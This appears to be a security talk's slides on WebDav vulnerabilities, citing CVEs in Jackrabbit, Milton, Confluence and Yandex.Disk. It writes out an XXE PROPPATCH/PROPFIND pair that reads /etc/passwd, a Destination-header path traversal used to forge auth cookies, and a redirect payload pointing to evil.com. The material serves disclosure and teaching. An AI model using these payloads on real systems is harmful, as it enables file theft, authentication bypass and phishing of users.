



What should a hacker know about WebDav?

Vulnerabilities in various WebDav implementations

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WebDav is complex

- ▶ Many standards that prescribes how to implement various WebDav methods

RFC 4918, RFC 3253, RFC 3648, RFC 3744, RFC 5323, RFC 4437, RFC 5842

- ▶ Many WebDav methods

OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE, COPY, MOVE, PROPPATCH, PROPFIND, MKCOL, LOCK, UNLOCK, SEARCH, BIND, UNBIND, REBIND, MKREDIRECTREF, UPDATEREDIRECTREF, ORDERPATCH, ACL, REPORT

- ▶ Different Webdav implementations

Generic approach

- ▶ Try various XXE attacks
- ▶ Issue **OPTIONS** requests and see what “interesting” methods are supported by WebDav library
- ▶ Try attack that follows from security considerations section of RFCs and “common sense” for all “interesting” methods
- ▶ Observe source code, if available, to find various implementation flaws

WebDav XXE attacks

- ▶ Methods PROPPATCH, PROPFIND, LOCK, etc. accept XML as input
- ▶ Especially Java implementations are vulnerable 🍷

Apache Jaccrabbit WebDav XXE

- ▶ CVE-2015-1833 [<http://www.securityfocus.com/archive/1/535582>]
- ▶ Exploit code [<https://www.exploit-db.com/exploits/37110/>]
- ▶ Video PoC [<https://www.youtube.com/watch?v=Hg3AXoG89Gs>]

Milton WebDav XXE

- ▶ CVE-2015-7326 [<http://www.securityfocus.com/archive/1/536813>]

cloudme.com XXE

- ▶ *CloudMe is a secure European service that makes your life a little bit easier. With CloudMe you don't have to think twice about where your files are, they're always with you ...*
- ▶ <https://webdav.cloudme.com> is vulnerable WebDav endpoint

SRSLY?

Apache Sling OOXML parsing XXE

- ▶ Apache Tika OSGi bundle to parse documents
- ▶ Apache POI is used to parse OOXML documents
- ▶ Apache POI library XXE [<https://access.redhat.com/security/cve/CVE-2014-3529>]

Apache Jackrabbit WebDav CSRF

- ▶ JCR-3909 [<https://issues.apache.org/jira/browse/JCR-3909>]
- ▶ POST request is **allowed** and **treated** as PUT
- ▶ There is Refer-based CSRF protection, **but empty Referer bypasses it**
- ▶ **Could be used to mount XXE attack for systems in the internal network!**

Exploiting WebDav XXE tricks

▶ Create resource

```
PUT /resource HTTP/1.1
```

Hack

▶ Write content of the file to a property of the resource with **PROPPATCH** method

```
PROPPATCH /resource HTTP/1.1  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE propertyupdate [  
<!ENTITY loot SYSTEM "file:///etc/passwd"> ]>  
<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>  
<a xmlns="http://this.is.xxe.baby">&loot;</a>  
</D:prop></D:set></D:propertyupdate>
```

Exploiting WebDav XXE tricks

- ▶ Read property with content of the file with **PROPFIND** method

```
PROPFIND /resource HTTP/1.1
```

```
<?xml version="1.0" encoding="UTF-8"?>  
<propfind xmlns="DAV:"><prop>  
<q:a xmlns:q="http://this.is.xxe.baby"/>  
</prop></propfind>
```

Exploiting WebDav XXE tricks

- ▶ OOB XXE will work with any method that supports XML input
 - When general external entities are prohibited
- ▶ SSRF attack will work with any method that supports XML input
 - When only external DTDs are allowed

Milton WebDav AUTHN bypass

- ▶ Cookie AUTHN [preferred method in Windows, from Win7]
 - miltonUserUrl=/users/admin/;Path=/;Expires=Thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000
 - miltonUserUrlHash=0.884150694443924:9c74dc9fb62c2926c911ce07b5e7dcb2;Path=/;Expires=Thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000;HttpOnly
- ▶ Cookie is signed using HMAC-SHA1
 - key is in keys.txt file stored in **java.io.tmpdir** directory
- ▶ Path traversal in **Destination** header of MOVE and COPY requests
 - **http://127.0.0.1:8080/../../../../../../../../_DAV/HACK/tmp**
 - We can overwrite keys.txt file 😊
 - After app server restart we can craft valid cookies 😊

Confluence WebDav DoS attack

- ▶ Based on Apache Jackrabbit WebDav code
- ▶ Supports **Depth: infinity** header in PROPFIND request
- ▶ Allows DOCTYPE declaration
 - ▶ Billion Laughs like attack, but with limited number [64000] of entity expansions, is possible
- ▶ Xerces-J library vulnerable to CVE-2013-4002 have been used
<https://jira.atlassian.com/browse/CONF-37991>

Yandex.Disk invalidated redirect

- ▶ WebDav access to Yandex.Disk – <http://webdav.yandex.ru>
- ▶ Supports **MKREDIRECTREF** request
- ▶ It is possible to create resource that will redirect the victim from Yandex.Disk to arbitrary site

```
MKREDIRECTREF /good.txt HTTP/1.1  
Host: webdav.yandex.ru
```

```
<?xml version="1.0" encoding="utf-8" ?>  
  <D:mkredirectref xmlns:D="DAV:">  
    <D:reftarget>  
      <D:href>http://evil.com</D:href>  
    </D:reftarget>  
  </D:mkredirectref>
```


Takeaways

- ▶ WebDav is a complex protocol, it extends attack surface of your system
- ▶ WebDav-related RFCs have security considerations parts, unfortunately, many WebDav implementations ignore security considerations
- ▶ WebDav libraries in Java suffers from XXE issues, because **most XML parsers in Java are insecure in default configuration**

Questions?

